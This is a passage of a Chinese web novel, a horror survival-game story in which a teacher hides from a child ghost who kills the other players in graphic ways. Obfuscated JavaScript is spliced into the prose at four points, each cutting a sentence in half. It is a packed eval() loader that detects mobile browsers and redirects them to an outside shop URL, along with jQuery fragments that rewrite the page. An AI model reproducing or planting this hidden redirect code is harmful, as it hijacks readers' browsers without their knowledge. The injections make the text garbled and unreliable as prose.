这一次,显示出来的说明信息就要比那个未激活的天赋技能详细多了。 【菜刀: 武功再高,也怕菜刀。 这是一把见过血的菜刀,它既接触过死亡的力量,也见证过新生命的开始。 握住这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129253|196181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把菜刀,你将拥有体质+10、力量+10的增幅。 可对生命值不高于你的敌人造成致命一击。】 至于等级高于她,又或者拥有特殊防御道具的玩家,这把菜刀还能造成什么效果,就没有描述了。 不过,在这种危险的地方,能有一个可以用作攻击的武器也不错。 孟熙宁目光扫过了那些说明,在“死亡”和“新生”上略一停顿,然后又点击了一下菜刀。 这一次,跳出的弹窗显示: 【是否取出?】 孟熙宁选择了是。 那把刚才她一接触,就自动消失后被收走的菜刀,又一次出现在了她的手里。 看上去不小的菜刀,按理说拿在手里是该有些分量的。 但她一点儿也没有沉甸甸的感觉,相反,孟熙宁有一种浑身都充满了力量的充实感。 她平时虽然爱看书,可日常并不是居家不出的性子,没少外出锻炼。 腕表中只显示了她的姓名性别年龄,还有所属的大洲模块,以及如今还是LV0 游戏菜鸟的等级称号,并没有那种详细的体质数据分析。 看不到具体的数量变化,可孟熙宁却能感觉到,方才道具说明里的增幅的确是真实存在的。 她握了握刀柄,心里又多了几分底气。 确认东西能够取出来,她又一次将菜刀收了回去。 第一轮游戏结束后,所有人会自动回到初始点。 这菜刀可不小,拿在手里还是太引人注目了,不符合她想要保持低调的想法。 在这种有竞争关系的游戏里,表现得太过异常,可不是什么好事。 她目前还不打算做那个出头羊。 正当孟熙宁将菜刀收起来的时候,外面一直唱着的童谣声突然一停。 小男孩稚嫩中带着几分森冷的声音响了起来: “哈,找到你啦!” 下一刻,一个男人的惨叫在这座两层小楼里响起。 那撕心裂肺的响声吓得所有人一个激灵。 哪怕没有看到画面,也能想象得到其中的痛苦和恐惧。 剩下的人都有种物伤其类的情绪涌上心头。 谁也不知道,下一轮的受害者,是不是自己。 那惨叫声一直没有停下,中间还混杂着小孩子咯咯咯的笑声。 整个过程大概也就一分多钟的样子,可对于他们这些玩家来说,却是度日如年的煎熬。 好不容易电子音响起,众人这才齐刷刷松了一口气: “第一轮游戏结束,目前该副本存活玩家:9人。” 随着电子音结束,其他玩家只觉得眼前的画面一阵模糊,下一刻,他们就出现在了一楼玄关不远处,正和游戏刚开始的姿势一样,拥挤在一起。 只是这一次,少了一个人。 孟熙宁环视了一下周围,发现少的正是最开始那个身上涂满纹路的黑皮肤男人。 不过…… 还剩下九个? 之前在楼上听到的一楼传来的惨叫声,还以为是死人了,没想到……对方还活着。 那个在她后面进厨房的男人,此时正站在人群中,身上并没有什么致命伤,只是形象格外狼狈了些。 5. 失控了 那人浑身都湿漉漉的,连鞋袜都黏黏糊糊,走过的地方留下了一串带着水迹的鞋印。 头发和肩上还挂着些像是剩菜叶子一样的东西,他原本穿着的白色衣服,这会儿更是被糟蹋得面目全非。 旁边的人都不由自主往旁边避让,又说Y语的,有说R语的,还有说其他小众语言的,无一例外,都在抱怨他的邋遢恶心。 同样去过厨房的孟熙宁一眼就认出来了,他身上那些东西,分明就是厨房水缸里漂浮着的那些玩意儿。 所以,这人是把自己藏进水缸里去了? 按照那水缸里装的液体容量,再藏起进去一个人……好像有些勉强。 不过,那毕竟是厨房,有锅碗瓢盆在,只需要舀出一些液体倒进水槽就行了。 那么脏臭的地方,也亏得他能藏得下去。 孟熙宁都不由得有些佩服这人了。 刚这么想着,她突然记起一件事。 不对! 那水缸里的东西可臭得很! 厨房里最臭的两个地方,一个是被打开的那口高压锅,另一个就是水缸了。 孟熙宁不过是在厨房里待了短短一分钟左右的时间,都担心自己被腌入味儿,一边走还要一边扇风散味,以免留下痕迹。 这人若是整个儿泡进了那口水缸里,怎么会浑身一点儿异味都没有呢? 她顿时来了精神,重新将此人细细打量了一番。 他的衣服穿得松松垮垮,上身是一件白色的带帽卫衣,下边儿配了一条宽大的卫裤,加上一双球鞋。 脖子上还有很多项链配饰,除此以外,没有背包之类的东西。 非常日常的穿搭。 孟熙宁自己也没有带来什么有用的东西。 在“进入游戏”之前,她已经给学生上完了晚自习,回到家里收拾好了躺到床上,闭着眼睛准备休息了。 可到了这里,她身上穿着的却不是睡觉时的那一身家居服,而是白天上班时宽松简单的休闲装,连鞋子都帮忙穿好了。 只是没有了她装教案的背包。 至于之前人群中穿睡袍和拖鞋的…… 她都怀疑,他们是不是在果睡,睡袍是游戏系统自动感应他们放在床边的东西,就给他们披上了。 除了基本的服装配饰,其他背包、工具类,没有一个人带来。 也就是说,这人如果有什么收获,要么就像她的那把菜刀一样,收入腕表里了。 要么…… 孟熙宁的视线放在了这人的卫衣帽子上。 他的个头大概在一米八左右,衣服尺码却更大一些,连带着后面的帽子也大大的,帽子尖儿甚至都要垂到后背往腰部的地方了。 可褶皱却不太对劲。 帽子里有东西! 那水缸里,应该是有什么和菜刀类似的道具。 孟熙宁得出这个结论以后,倒是没觉得可惜。 毕竟她自己也有收获。 而且,比起整个人钻进那个水缸里,她还是情愿去与枯骨共舞。 这人为什么没有把道具收起来呢? 应该不是没发现腕表有这个功能。 她的菜刀是刚一接触,就被自动收进腕表了,不存在不知道怎么用的情况。 那就是,他很需要这件道具“佩戴”以后的效果? 菜刀的体质力量增幅,对孟熙宁来说,并不是现在时时需要的,所以放起来也无所谓。 可别人不一定也是这样。 想到这人身上邋遢肮脏,却毫无异味的怪异状态,孟熙宁若有所思。 难道,那个道具是可以帮助他除味的? “叮……叮……当……” “叮……叮……当……” 铃铛声响了起来。 比他们后一步到达一楼的小男孩,一只手提着那个纸灯笼,晃晃悠悠地往中间的空地走了过来。 原本是白色的纸灯笼,此时多了些红色的点缀,像是一朵朵盛开的红色梅花。 配合上他那张阴森森的脸,空气中好像立刻就多了几分血腥的臭味。 不。 不是好像! 是真的! 孟熙宁仔细分辨了一下,的确是有一股怪味弥漫开了! 正和厨房水缸里的味道一模一样! 只见那小男孩的另一只手里,正拖着一条胳膊。 那条胳膊的另一头,还连接着一个人小半个身体。 这人的头颅以及下半身都消失不见了,上半身的左边也都没了,只留下这带着一条胳膊的右半边。 中间撕裂的地方坑坑洼洼,像是被什么猛兽啃食过,露出了里面还鲜活的内腑。 只有看到那皮肤的颜色,还有胳膊上画上去的纹路,才让其他人确认,这死了的人是谁。 “怎么会这么臭?” “呕!” 呕吐声和疑惑声混杂在一起。 疑惑是随口一说,但呕吐却不只是因为臭味,还有恐惧的影响。 孟熙宁在闻到这股味道的时候,就又将注意力放在了那个卫衣男的身上。 果然,这人脸上先是闪过了几分心虚,很快,又掩盖了过去,学着其他人的样子捂住半张脸做出受不了的模样,但那双眼睛瞧着却是有些得意的。 他甚至还悄悄用另一只手,背着其他人悄悄伸到背后摸了摸自己的帽子。 也因为这个动作,让孟熙宁看到了他帽子里的那个东西的大致轮廓。 不算巨大,却也绝对不小,有点儿像是圆形的球,但又有几分不规则的凹陷。 联想到厨房里的高压锅…… 孟熙宁心头一凛。 她转头再看向空地中间的鬼。 他提着自己的战利品,仿佛鼻子出了问题,根本闻不到那股臭味,贪婪地睁着眼望着他们这群活人,恨不得将他们全部吃掉。 而站在人群中的其他人里,有两个此时更是面色惨白一片,几乎要比那小鬼的肤色还要白了,身体颤抖,几乎不敢去看那边的惨状,其中一个的□□甚至颜色都深了一片。 现在他们站的地方没什么别的东西。 所以,是之前就尿裤子了? 孟熙宁瞟到他们,想起这两人好像之前也在二楼。 也不知道,是不是正好目睹了整个经过,才吓成了这样。 还真是。 这两人和死去的那个“替死鬼”,刚好就是藏在同一个房间里的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129254|196181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他们三个不约而同,都舍弃了距离楼梯最近的两边的房间,选择了二楼中间的那个房间躲藏。 原本三人选的位置都还不错,将他们的身体遮挡得严严实实,外面还有遮挡物。 加上时间紧张,大家都默认了共享这个位置,并没有赶走另外两人的意思。 孟熙宁差点儿被小鬼发现的时候,他们三个缩在房间里,祈祷替死鬼早点被发现,没想到,却听到小鬼进了他们所在的房间。 三人紧张得浑身冒汗。 一开始还好,小鬼的确没有发现,这个嵌入式的壁橱,里面的这一块面板其实是可以拆卸的,墙体里还有一个空间。 第一波搜寻后,他就离开了。 三人刚庆幸危机过去,还想着下一个房间的人是不是要遭殃的时候,这小鬼却突然来了个回马枪。 那块板子整个儿被砸破了。 里面的活人暴露了出来。 他们三个,其实都被发现了。 只是,那死了的哥们儿因为体型原因,是处在最外面的,正好将他们剩下的这两人挡在了里面。 “哈,找到你啦!” 他们只听到小鬼说了一声以后,眼前的光线就亮了起来。 挡在他们面前的那个哥们,直接被拖了出去。 明明是个身材魁梧强壮的成年男人,却在那个小学生一样的小孩子面前,毫无抵抗力,被那么小的一只手就从隐藏空间里拽了出去,如同拖走一条死狗。 紧接着,就是血腥的一幕了。 那小鬼当着他们两个的面,开始享用自己的“食物”。 他们害怕得嗓音都无法发声,大脑一片空白,只能在心里歇斯底里地尖叫呐喊。 一开始,他们还担心自己是不是也要死了。 但很快,两人就发现,好像是因为规则限制,这小鬼一轮只能找到一个“替死鬼”。 所以,哪怕是近在眼前,他也没有对他们两人出手。 可是,这小鬼每进食一口肉,都会拿那双黑漆漆的眼睛盯着他们,就像是在拿他们俩下饭。 明明还活着,他们却觉得自己好像也被一口一口咬下吃掉了。 眼见刚才还跟他们待在一起的活人玩家,就这么凄厉无助惨叫着死去,两人吓得魂魄都要当场散掉。 就以这么一副丢了魂的样子,他们重新回到了一楼。 在其他人还在庆幸顺利通过第一关的时候,他们甚至都没有精力去高兴,只觉得如今简直比当场死了还要折磨。 眼见那小鬼再次出现,甚至当着他们的面又咬了一口…… “啊啊啊!” 其中一人像是脑子里的那根弦突然断掉了,一时失去了理智,抬起旁边的椅子,就往前冲去,用力地砸向了空地中间的小鬼,口中还失控地大声喊叫: “去死!去死!给我去死吧!” 说的是带着些口音的Y语,在场大多数人都听懂了。 倒是尿裤子的那一位,反而坚持得更久一些,没有因此发疯,反而不可置信地站在原地,看着这位冲了出去。 现场安静了一瞬间。 所有人都看向了场地中央。 椅子砸得稀碎,而那小鬼……没有躲开! 6. 惨剧发生 “砰!” “砰!” “砰!” 泄愤的猛砸声响起,木头的残渣掉了一地,地面上蔓延开的,还有一堆红色的液体。 这就……成了? 这么简单,游戏Boss就给干没了? 那他们之前何必那么害怕啊! 刚这么想着,因为好奇走到前面的几人突然觉得面上一热。 视野被一片红色遮挡。 他们疑惑地伸手抹了一把脸,这才发现,竟是糊了一面的鲜血! 再往前看,那个发疯的男人,手还高高地举着,手里抓着的是一把残缺的椅子腿儿,整个人僵直不动,像是被念了定身咒。 在他后背左边,多出了一只手。 那手上满是鲜血,手心里握着一颗心脏,还在微微跳动。 这是直接被掏了心! “啊!” 一声尖叫,吵醒了剩下人的理智。 一群人再也不敢向前半分,推搡着就往后退去,生怕那怪物杀红了眼,不用再开始第二轮游戏了,直接将他们就地虐杀。 “刺啦。” 一声轻响。 那只手从男人的身体里拿了出来。 “砰。” 比起前面砸椅子的声音小了许多,只是,这一次砸在地面上的,是男人死不瞑目的尸体。 他脸上还带着疯狂后的扭曲,眼里满是恐惧,还有一丝丝疑惑。 怎么会这样呢? 怎么就这么死了呢? 他一倒下,前面的场景就显现出来。 砸碎的东西下,的确是一堆被血水浸泡的烂肉,但那并不是小鬼,而是被他拖着的那个深肤色男人的小半具身体。 小男孩儿毫发无伤,连手里提着的纸灯笼都完好无损,这会儿抓着那颗前不久还鲜活的心脏,眯着眼睛,沉迷地舔了一口。 那表情,就跟小孩子终于吃到了自己想要的冰淇淋似的。 如果不是鲜红的血将他发乌的嘴唇也染红了,在他脚边还躺着一具已经咩有了心脏的尸体的话,画面会和谐许多。 “第一轮游戏结束,第二轮游戏即将开始。 请剩下的九……哎,好吧,请剩下的八位玩家做好准备。” 之前就知道第一轮已经死去了一位玩家。 也亲眼看着那小怪物拖着一,不,是半具尸体出现。 可是,他们大多数到底还是没有亲眼看着那人被杀害,总有一种不真实的感觉。 毕竟这年头血浆片那么多,各种血腥劲爆的镜头也不少。 突然看到尸体,不适感肯定是有的,但总有一种“那人其实没死,这些都是道具”的自我安慰。 而现在,他们亲自见证了一个人的死亡。 没有一个人能在这种时候保证自己完全的平静。 连空气中那股浓烈的臭味,都无法转移他们的注意力。 之前就湿了裤子的那位,直接瘫坐在地上,淋淋漓漓的液体顺着裤子浇透,然后流淌到地上,散发出一阵骚臭味,和空气中的腐烂气息融合到一起,更是难闻了。 却没有人在这时候去责怪他,大家都紧盯着那个怪物,听着脑海中的倒计时响起: “五、四、三、二、一,开始!” 不敢多想,有了上一轮的经验,剩下的人一哄而散,纷纷去寻找藏身地。 孟熙宁注意到,有几个人头也不回,直接冲着二楼去了。 看上去,就是上一轮躲在二楼中间那个房间里的玩家。 看来上一轮躲过了鬼的搜查,让他们对自己找到的地方很是自信,所以这一次依旧选择了去老地方。 甚至还有两个人也偷偷摸摸地跟了上去,不知道是想自己找地方,还是想和这几人凑在一起。 这一下就走了五个人。 一楼只剩下孟熙宁和另外两人在了。 一个看上去很纠结,想要上楼,却又害怕楼上去的人太多,位置不够用了。 留在一楼,又担心上一轮鬼是从二楼开始搜索的,这一轮会不会从一楼开始? 这人就是那个穿着卫衣、一身邋遢的男人。 还剩下一个,便是尿了裤子瘫在地上的那位。 孟熙宁之前就看到了这人的长相,他就是开局时童谣唱得十分标准,甚至暗藏得意的那位。 花了不到一秒的时间扫了一眼现场,孟熙宁就直接冲向了一楼中间的房间。 厨房她已经检查过了,而厨房里有的道具,应该就是被那个卫衣男拿走了。 之前以为是让异味消散。 但从死去那人的情况来看,说不定是异味转移! 毕竟,那人身上可没有一点儿脏污。 而且对方根本没有去过厨房,游戏刚开始,就去了二楼,身上怎么可能凭空出现厨房里才有的腐烂味道呢? 孟熙宁甚至怀疑,他们被鬼发现藏身地,很有可能就是因为这种浓烈的气味留下的线索! 不知道那个未知的道具生效的条件是什么。 孟熙宁只能注意远离那个卫衣男,并且尽可能少给对方留下任何印象——长相、声音……等等。 一楼的第二个房间看上去是个储藏室。 房间的一边,堆放着许多杂物,这很正常。 但另一边,竟然放着一张小床。 床上摆放着一床单薄的被子,看上去是一人使用的。 床头还有一些像是完成到一半的小孩子的衣物。 比起二楼铺着垫子还有大衣柜的那个房间,这里倒更像是有人住的地方。 没有窗户,房间里看上去十分昏暗。 床板做得很低,床下几乎只能容忍一个巴掌贴地放进去。 所以,是没有藏身空间的。 孟熙宁一边跟唱童谣,一边敲了敲床板。 果然,是空心的。 这就对了,这床箱的高度也太奇怪了些,看上去就不像是正常的床体。 里面还真有隐藏式的“储物空间”。 床板倒是不难抬起来,并没有用钉子之类的固定。 孟熙宁很快就用旁边的东西撬动起来。 床板才刚一打开,又是一股腐烂的臭味。 孟熙宁:…… 所以,她今天是有什么开臭味盲盒的bug在吗? 一打开就是一股臭味袭击。 厨房里两个,现在储物室也来一个! 抱怨归抱怨,她的动作却没有停下,甚至还要顶着这股臭气继续“唱歌”。 还好,这游戏的规则也没有那么苛刻。 并不需要唱得太过标准,或者一定要唱得很有感情。 否则,那些根本听不懂的玩家,第一轮就要被淘汰了。 床板一撬开,里面露出来的东西,让孟熙宁有种“果然如此”的感觉。 那同样是一具尸体。 同样是已经枯烂成骨头了,可一看体型,就比楼上那具女尸要大出一倍都多。 这尸骨蜷缩在小小的床板下,看着格外逼仄。 孟熙宁找了块布拿在手中,隔着布去翻动了一下。 出于兴趣,她以前也看过些许刑侦类的专业书籍,对这方面的知识谈不上精通, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129255|196181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是略懂而已。 就这样,她也能看出来,这具尸骨身上的肉,和楼上那具女尸并不一样,不是因为时间的流逝腐烂消失的,倒像是……被人剔除下来了。 而且,尸骨的头颅并不在这里。 她小心摸索了一下脖子上的骨头。 像是用利器砍下来的。 横切面上的痕迹说明了一切。 孟熙宁很快就想到了厨房里那口高压锅。 那口,一打开就能看到漂浮着白花花东西的高压锅。 那应该……就是人体里的脂肪吧…… 还有那口大水缸。 她的视线落在这具尸体的头颅本应该在的位置。 没错了。 那个卫衣男帽子里的东西,轮廓可不就很像是一个人的颅骨吗? 那头颅居然还成了一个道具? 面前剩下的骨头倒是没有什么功能,孟熙宁正准备将床板搭回去,就看到一个人影往这边靠近了。 她心神一凛,一松手,拉起外套的领子遮住脸就往外跑。 正好时间也不多了,该去楼上了。 卫衣男的身影和她擦肩而过。 她甚至听到对方伸手“哎”了一声,但她完全没有理会,不给对方任何接触到自己的机会。 余光里,还能见到那人惊呼一声,跟见到什么宝贝似的一头钻进了那敞开的床体里。 孟熙宁:…… 她是开臭味盲盒。 这人是开尸骨派对吧? 对这福利并不是很感兴趣的孟熙宁顺着老路去了二楼。 路过第一个房间,她并没有打算继续藏在上次躲藏的地方,但依旧走了进去。 孟熙宁看了一下敞开的房门。 啧。 门锁是坏的。 里面的锁芯,像是被人特意拆卸下来的。 所以,就算她之前有意想要关上房门,也是没有用的。 不只是这个房间,一楼的厨房是没有门的,那个带小床的储物间,有门,却也是敞开的。 门锁同样是坏的。 这个家,可真是有意思啊。 孟熙宁垂眸离开了这个房间,掠过了中间的那个,直接去了另一头。 刚才那几人如果都去了中间,可想而知那个房间里会有多拥挤,她可不喜欢跟着这么多人一起凑热闹。 倒是另一边的那个房间…… 可能是因为上一轮刚死了人,大家都觉得晦气,又或者害怕鬼会再次从这里下手,所有没有一个人过来。 孟熙宁同样看过门锁后,进了房间。 这像是一个小孩子的房间,墙面被涂上了漂亮的粉蓝色,还画了许多卡通图案。 靠墙放着一个小小的挂着风车的摇篮,另一边堆积着不少柜子。 另一面墙上,开着一扇很小的窗户,几乎只有人头半大小,也就是透个气而已。 对了。 这房子里,也就一楼客厅有一扇窗户。 其他房间,不管是厨房、储物室,还有二楼检查过的那个房间,都是没有窗的。 孟熙宁试着去摇晃了一下。 窗户被锁得死死的,不能开启。 而柜子那边,有一滩红色夹杂着碎肉的液体流淌着,昭显着之前发生过什么惨案。 打开的柜子里,更是一片暗黄色的湿痕。 那位尿裤子的男式,应该就是在这里失态了。 “夜明けのばんに……” 童谣已经唱到最后一遍的最后几句词了。 孟熙宁抓紧时间,很快瞄准了位置。 7. 剩余三人 “後ろの正面谁?”这一次的时间依旧卡得很极限。 几乎是孟熙宁人刚藏好,下一刻,歌声就停了下来。 本来还在一楼的小鬼,下一刻就出现在了二楼的房间门口。 本来正在仔细分辨铃声方向的孟熙宁,很快就发现,这玩意儿现在就在自己附近! 她的运气好像有点子背啊。 开盲盒老是被臭味攻击也就算了,两轮游戏都被Boss第一个找上门。 虽然对方还没有进门,孟熙宁也不敢抱侥幸心理,主动做好了准备。 “叮……叮……当……” “叮……叮……当……” 纸灯笼上的铃铛声越来越近。 个头不高的小鬼提着晃悠的灯笼走进了这个房间。 在其他玩家眼中显得十分可怖的残局,在他看来就跟自己的功勋章没什么两样,甚至站在门口煞有介事地欣赏了片刻,这才正式踏进房间。 他的脑袋扭了一圈,就将房间的格局都看了一遍。 周围不像是很能藏人的样子…… 小鬼那双幽幽的眼睛闪烁着冰冷的光,晃着脑袋踏着没穿鞋子的脚,一步一步走到了柜子前面,仰头看去: “嗯……找到你啦!” 每一次,在这种时刻,他总能闻到来自人类玩家身上的那种恐惧的味道。 甘甜的、美妙的、让人沉醉的恐惧啊…… 他真是太喜欢了。 可这一次,却迟迟等不到他想要的战利品。 “咦?”小鬼踮了踮脚尖,像是和小朋友说悄悄话一样,轻轻说道,“这个地方我已经发现过咯!快出来吧,不然我就要生气了!” 柜子里安安静静,一点儿声音也没有,甚至听不到呼吸的动静。 小鬼不高兴地皱起了眉头,腮帮子跟着鼓了起来,嘴唇上干涸的血迹抹到脸颊上,有一种独属于孩童的天真的残忍。 他不再多说什么,直接伸出手去,“哗啦”一下拉开了柜子里隐藏空间的那道门。 在上一轮游戏中挤进了三个玩家的隐藏空间,此时空无一人。 本以为是个胆大冒险的玩家,认为最危险的地方就是最安全的地方,所以又藏到了这儿。 谁知道…… 居然没人? “咦?” 怎么会没人呢? 熟悉的感觉出现了。 小鬼想起来,上一轮游戏好像也是这样! 他气急了,真想抱住柜子咬上一口,可刚站直身体,就听到隔壁房间传来一声爆响。 小鬼眼睛一亮,顾不上生气,提着灯笼就跑了出去。 隔壁房间里的人已经乱作一团了。 谁也不知道变故是怎么发生的,反正突然一个人就和点燃的炮竹一样炸开了。 巨大的动静,让其他人也来不及去想太多,只想要赶紧转移地点。 可偏偏游戏规则里有一条,童谣吟唱时间结束后,玩家是不能离开当时所在地半米之外的! 刚开始的人体烟花效果还在,谁也不想去试验一下,违规后会有什么惩罚。 于是,他们只能就近寻找藏身地。 奈何,一开始跟过来的人实在是太多了。 如今他们这个游戏副本,一共就存活了八个人,就有五个人跟着来了二楼这个房间。 只有一个中途见情况不妙,地方恐怕不够分,赶紧跑了出去。 第一个房间的和服枯骨担心会尸变,第三个房间已经被发现过了,也觉得不太安全,所以这人直接从另一边楼梯下到一楼去了,正好和从另一边楼梯上二楼的孟熙宁错开。 如今,二楼中间的这个房间里,就有四个人。 一个刚才已经炸死了。 另一个在前一个炸死之后,不知道为什么也突然没有了呼吸,直接僵直在原地,眨眼间就变成了一具穿着衣服的骷髅架子。 剩下的两个人刚才已经听到小鬼的铃铛声就在附近,说不定便是在隔壁房间,哪里敢耽搁,纷纷朝着旁边的柜子扑了过去。 那里还有一个暗格! 刚才他们是搜到了的! 只是,那格子实在是太小了,也就女人小孩儿容易进去些,他们这样的成年男人想把自己塞进去,恐怕得吃点儿苦头,还不一定能成功。 所以,他们刚才都没有选这个地方。 但现在没办法了。 目前能想到的,只有这个暗格能够藏身,而且距离他们刚才的藏身地刚好半米左右的距离! 一个人还勉强有可能进去。 但两个人? 扑过去的同时,他们也都恶狠狠地看向了彼此。 人才刚到地方,就已经扭打到了一起。 等小鬼提着灯笼“哒哒哒哒”地跑过来时,正好看到两个紧紧缠抱在一起的身影一起撞到了窗户上。 那外开的窗户轻易就被撞开了,窗沿还比成年人的腰部矮上一些。 两个视线都受阻的人根本不知道发生了什么,就用这样抱在一起的姿势齐齐摔了下去。 窗外的白雾涌动。 两人连惨叫声都没有发出来,一切就回归了平静。 小鬼只来得及看到一个结尾,根本不能算作他这一轮游戏的战利品。 啊啊啊! 他不满地甩动了一下手里的纸灯笼! 怎么会这样? 早知道,刚才就不提前用掉每轮游戏只能用一次的传送技能了! 就晚了一点点而已! 他不甘心地跑过去。 人还没有窗户高。 那两人,是活不成了。 他只能气恼地锤了一下窗台,然后愤愤不平地将窗户重新合上了。 再路过几人之前藏身的地方时,看到那些人体炸开的痕迹,还有那个死得十分突然的“骷髅”,小鬼瘪了瘪嘴。 这些玩家怎么还跟他抢人头呢? 两个都是被其他玩家用道具截杀了的,同样算不得他的成绩。 小鬼嘟着嘴,一脚将那骷髅架子给踢散了,这才气哼哼地出了房间,略过了第一个房间,正准备下一楼去。 “滴答。” 刚走过二楼楼梯口的小鬼脚步一顿。 他往后退了退,抬起头来。 天花板上有一块隔板,缝隙中正有液体悄悄滴了出来,带着几分骚臭味。 小鬼惨白的脸上,红得发黑的嘴无声地咧开,嘴角直接扬起到了脸颊两侧,像是一个巨大的豁口。 “啊,找到你咯!” 对了,对了。 这才是熟悉的恐惧的味道,那么甜美,那么诱人…… 他的脖子像是长颈鹿一样向上伸长,一头撞破了上面的那块薄薄的木板。 “哗啦啦!” 木板碎裂的残渣落了一地,同时掉下来的,还有一个人的双腿。 那人的裤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129256|196181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子上的颜色已经是深一块浅一块,明显被几次弄湿了。 他也没想到自己会突然暴露,手臂搭在天花板上紧紧抱着,怎么也不肯落下,一双腿在空中无力地挣扎: “不要!不要!我不要死!我不该死的!我是最了解这个地方的人!” 这些愚蠢的东西,什么都不知道! 他能听懂这个小鬼在唱什么,也知道这个游戏,还发现了房间顶部的小阁楼! 又在里面得到了一种可以远程生效的爆炸毒药。 他的运气多好啊,第一次参加游戏,就来了一个最熟悉的副本,还得到了少有的道具。 藏在这样安全的地方,又特意选了藏身人数最多的小团体,让一个人中毒爆炸,将那怪物吸引了过去。 按理说,他应该百分百安全了才对啊! 他甚至已经想好了,只要这一轮安全度过,就说明他找到这个地方的确是个安全区,最后一轮再趁着最后一点儿时间,其他人都藏好后,自己再偷偷过来苟住。 绝对能够活到最后! 可…… 可是…… 怎么会这样呢? 直到死,他都满心不甘。 之前就湿哒哒的裤子,如今又添了几分水迹,两条腿从天花板上垂下来,一边摇晃,一边滴落着黄色的水珠…… 这一次的惨叫声很短,不像上一轮叫得那么凄惨。 大概是因为少了观众,所以“主演”也没有了表演的欲望。 饶是孟熙宁这样上班几年,乳腺结节都出现了,后面终于开始学会放过自己,日渐平静佛系的人民教师,在刚才短短的时间里,情绪都差点儿没能维持住。 这也太刺激了。 先是她差点儿又要和鬼面贴面,再然后隔壁炸了,最后隔壁好像没有人被抓住,紧接着鬼的脚步逐渐远去,本以为是要下一楼去了,却没想到…… 有人被找到了? 不过,这也意味着,他们剩下的人这一轮安全了。 孟熙宁轻手轻脚从柜门上下来。 没错。 她刚才就在这柜子的里! 甚至,没有进那个隐藏空间。 柜子内隐藏的嵌入式空间都能勉强藏下三个大男人,柜子本身的容量自然也不算小,质地还挺好。 那隐藏的空间上一轮就被发现了,孟熙宁可不会去赌,这小鬼是不是这一轮就直接跳过上次发现的藏身地。 所以,她舍弃了那个隐藏空间,直接选择了推拉式门板。 好在柜子质量好,她本身虽然算不上瘦削,却也没到超重的地步,平衡性和力量都还好。 为了能坚持更长时间,她甚至将菜刀取出来别在了后腰上。 一是为了体质和力量的增幅,让她能长时间挂在门上;二也是以防万一。 她不是什么好脾气的圣人,就算真被找到了,那也得赌一赌,看看能不能把这小鬼一起带走! 反正这菜刀还有个致命一击的可能。 好在,她还不算倒霉透顶。 那小鬼果然注意力都放在柜子和隐藏空间内的正常储物位置了,根本没有想到一开始就开着的门有什么蹊跷,也没看见隐藏在黑暗中,跟蜘蛛侠似的紧贴在柜门上的孟熙宁。 再加上隔壁的爆炸动静适时响起。 她的第二轮游戏,又一次成功通过了。 “第一轮游戏结束,目前该副本存活玩家:三人。” 8. 玻璃上的裂纹 眼前场景一变。 一楼熟悉的景色又出现在眼前。 孟熙宁看了看身边的两人,再看了看还残留着一条胳膊的空地。 还真的只剩三个人了啊! 听到语音播报的时候,她还以为自己听错了。 没想到,八个人直接被一波带走了五个。 杀伤力这么猛的吗? 孟熙宁记起隔壁房间的那声爆炸。 爆炸声响起的时候,小鬼可还在她那边呢! 从时间上算,除了这一轮游戏中被找到的那个玩家以外,另外四个可不像是被小鬼杀死的。 更像是…… 孟熙宁飞快地看了一眼剩下的两个人。 那个和尸骨共舞的卫衣男还活着,另一个……上一轮还像是和死去的那四人一起去的二楼啊? 可是,瞧对方如今脸上显而易见的后怕和庆幸,这件事好像又与其没有太大关系。 又是那卫衣男的手段? 那个骷髅头这么好用吗? 总不会是他又找到什么道具了吧? 不,不太可能。 孟熙宁很快就否认了这个猜测。 不过是游戏上线后的第一个关卡,难度多半是最低的新手级任务。 这种程度的生存游戏里,能出现菜刀和骷髅头两个特殊道具就已经不错了,最多应该不超过三个。 如果道具这么容易得到,那卫衣男就不会时不时去摸被他藏在帽子里的那个东西了。 原来不只是转移臭味。 看来,那床箱里的骨头,也不是那么安全啊…… 